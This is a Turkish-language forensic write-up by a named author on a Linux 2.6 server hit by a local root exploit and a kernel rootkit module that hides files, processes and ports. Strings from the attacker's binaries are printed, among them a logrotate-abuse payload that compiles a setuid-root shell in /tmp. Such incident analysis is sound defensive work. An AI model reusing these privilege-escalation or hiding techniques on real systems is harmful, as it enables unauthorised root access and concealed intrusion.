Bir zafiyetin getirdikleri...

Son günlerde çok kullanıcılı sistemleri zor durumda bırakacak bazı kod parçacıkları ortaya çıktı(*). Bu istismar kodlarının ortaya çıkmasıyla birlikte birçok sistemin dengesi de bozulmaya başladı. Bünyesinde birden fazla kullanıcı barındıran sunucular kullanıcıların hedef tahtası oldu.

Zamanında güncellemesi yapılmayan sunucular saldırılara maruz kaldı. Bu saldırıların çoğu yerel idi. Yani sisteme bağlanan normal haklara sahip bir kullanıcı, istismar sayesinde sistemde yönetici moduna geçiş yaparak her dizin ve dosyalar üzerinde değişiklik yapabilme yeteneğine sahip olur. Bu zafiyet sonucu sistem bazı sorunları da beraberinde getirir.

Bir sistemin yaşadıklarını irdeleyelim...

```
root-X.X.X.X:~# uname -a
Linux X.X.X.X 2.6.16.17 #1 PREEMPT Wed Jul 26 13:54:37 EDT 2006 i686 GNU/Linux
```

```
root-X.X.X.X:~# lsmod
Module Size Used by
ipv 6238080 10
whymymodule 6528 0 <---???? İlginç bir eklenti
binfmt_aout 6668 0
af_packet 17160 4
tsdev 6208 0
autofs4 17284 1
evdev 7936 0
```

Sistemde herhangi bir tehlikeli durumun olup olmadığını anlamak için "Chkrootkit" ve "Rootkit Hunter" isimli programlarla tarama yapılıyor.

```
root-X.X.X.X# ./chkrootkit
ROOTDIR is `/'
Tarama Sonucu: Temiz

root-X.X.X.X:~# rkhunter -c
Rootkit Hunter 1.2.8 is running
Determining OS... Ready
...
Checking loaded kernel modules [ OK ]
Checking LKM module path [ OK ]
...
Tarama Sonucu: Temiz
```

Sistem hafızasında bir gezinti için:

```
root-X.X.X.X:~# dd if=/proc/kcore of=/tmp/kcore
root-X.X.X.X:~# strings -n 11 /tmp/kcore > /tmp/strings.txt
root-X.X.X.X:~# grep why /tmp/strings.txt
.whymymodule.ko.cmd #EFEBDE
.whymymodule.mod.o.cmd
.whymymodule.o.cmd
alex-X.X.X.X:~/why$ N
whymymodule
alex-X.X.X.X:~/why$ lex 4096 Jul 26 18:05 ..
```

```
[malex-X.X.X.X:~$ cd why/
./whysh1t /usr/X11R6/lib/libdps.a <--------?????????????
-rw-r--r-- 1 root root 8042 Jul 26 18:49 whymymodule.ko
-rwxr-xr-x 1 alex alex 476053 Jul 26 18:04 whyproc
-rwxr-xr-x 1 alex alex 15580 Jul 26 18:05 whysh1t
alex-X.X.X.X:~/why$
whymymodule.c
whymymodule.mod.c
whymymodule
...
```

Yukarıdaki komut dizisi vasıtasıyla "**why**" ile başlayan kelimeler araştırılıyor.
İnceleme sonucu bu modül **alex** isimli kullanıcı adı altında oluşturulduğu tespit ediliyor.

"alex" kullanıcısını ziyarette bulunalım.

```
root-X.X.X.X:~# cd /home/alex
root-X.X.X.X:/home/alex# ls -la
..
-rw------- 1 alex alex 815 Jul 27 11:14 .bash_history
-rw-r--r-- 1 alex alex 57 Jul 26 17:30 .bashrc
..
```

"why" isimli bir dizin gözükmüyor.

```
root-X.X.X.X:/home/alex# cd why
root-X.X.X.X:/home/alex/why#
```

"why" isimli dizin gözükmemesine rağmen içerideyiz.

```
root-X.X.X.X:/home/alex/why# ls -la
..
drwxr-xr-x 2 alex alex 4096 Jul 27 10:28 .
drwxr-xr-x 12 alex alex 4096 Jul 26 18:05 ..
```

Dizinin içi boş gözüküyor.

```
root-X.X.X.X:/home/alex# rmmod whymymodule
```

"whymymodule" isimli parçayı ayırdık.

```
root-X.X.X.X:/home/alex# ls -la
...
-rw------- 1 alex alex 815 Jul 27 11:14 .bash_history
-rw-r--r-- 1 alex alex 57 Jul 26 17:30 .bashrc
..
drwxr-xr-x 2 alex alex 4096 Jul 27 10:28 why
```

"why" dizini ortaya çıktı.

```
root-X.X.X.X:/home/alex# cd why
root-X.X.X.X:/home/alex/why# ls -la
...
-rw-r--r-- 1 root root 8042 Jul 26 18:49 whymymodule.ko
```

```
-rwxr-xr-x 1 alex alex 476053 Jul 26 18:04 whyproc
-rwxr-xr-x 1 alex alex 15580 Jul 26 18:05 whysh1t
```

Gizli dosyalar "**whymymodule**" isimli modülü çekirdekten sökünce görünmeyenler ortaya çıktı. "why" ile başlayan dosyalar ya da klasörler bu modül sayesinde görünmez(!) oluyor.

"**whymymodule.ko**" dosyasını biraz daha inceleyelim .

```
root-X.X.X:/home/alex/why# objdump -s whymymodule.ko
whymymodule.ko: file format elf32-i386
..
Contents of section .rodata.str1.1:
0000 2f70726f 632f002f 6465762f 67726964 /proc/./dev/grid
0010 2d686964 652d7069 642d002f 6465762f -hide-pid-./dev/
0020 67726964 2d756e68 6964652d 7069642d grid-unhide-pid-
0030 002f6465 762f6772 69642d73 686f772d ./dev/grid-show-
0040 70696473 002f6465 762f6772 69642d68 pids./dev/grid-h
0050 6964652d 706f7274 2d002f64 65762f67 ide-port-./dev/g
0060 7269642d 756e6869 64652d70 6f72742d rid-unhide-port-
0070 00256420 2d202573 0a003a25 30345800 .%d - %s..:%04X.
0080 77687900 2f70726f 632f6e65 742f7463 why./proc/net/tc
...
Contents of section .gnu.linkonce.this_module:
0000 00000000 00000000 00000000 7768796d ............whym
0010 796d6f64 756c6500 00000000 00000000 ymodule.........
...

root-X.X.X:/home/alex/why# objdump -s whymymodule.ko --full-contents --section=.modinfo

whymymodule.ko: file format elf32-i386

Contents of section .modinfo:
0000 6c696365 6e73653d 47504c00 00000000 license=GPL.....
0010 00000000 00000000 00000000 00000000 ................
0020 7665726d 61676963 3d322e36 2e31362e vermagic=2.6.16.
0030 31372070 7265656d 70742035 38362067 17 preempt 586 g
0040 63632d33 2e330064 6570656e 64733d00 cc-3.3.depends=.
```

SONUÇ:

Bu bir Kernel 2.6.? R00TKiT

"why" dizini içerisindeki "whyproc" ve "whysh1t" isimli dosyalar incelendiğinde bu dosyaların sistemin zafiyetini kullanarak kullanıcıyı yönetici durumuna getiren dosyalar olduğu görülür.

```
root-X.X.X:/home/alex/why# strings ./whyproc
...
inity
/var/log/core {
daily
size=0
firstaction
chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/logrotate.d/core; rm -f /va
r/log/core*
endscript
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c; gcc /tmp/pwned.c -o
/tmp/pwned &>/dev/null; rm -f /tmp/pwned.c
```

```
root-X.X.X.X:/home/alex/why# strings ./whysh1t
/bin/sh
[^_]
trying to exploit %s
/proc/self/environ
mmap
/proc/%d/environ
madvise
failed
usage: binary
```

GENEL SONUÇ:

Kullanıcı -- {SSH} --> Hedef -- {exploit denemeleri} --> Rootkit entegrasyonu --> Dosyalar gözden saklanıyor

* http://www.securityfocus.com/bid/18874

Tacettin Karadeniz
tacettink[@]olympos.org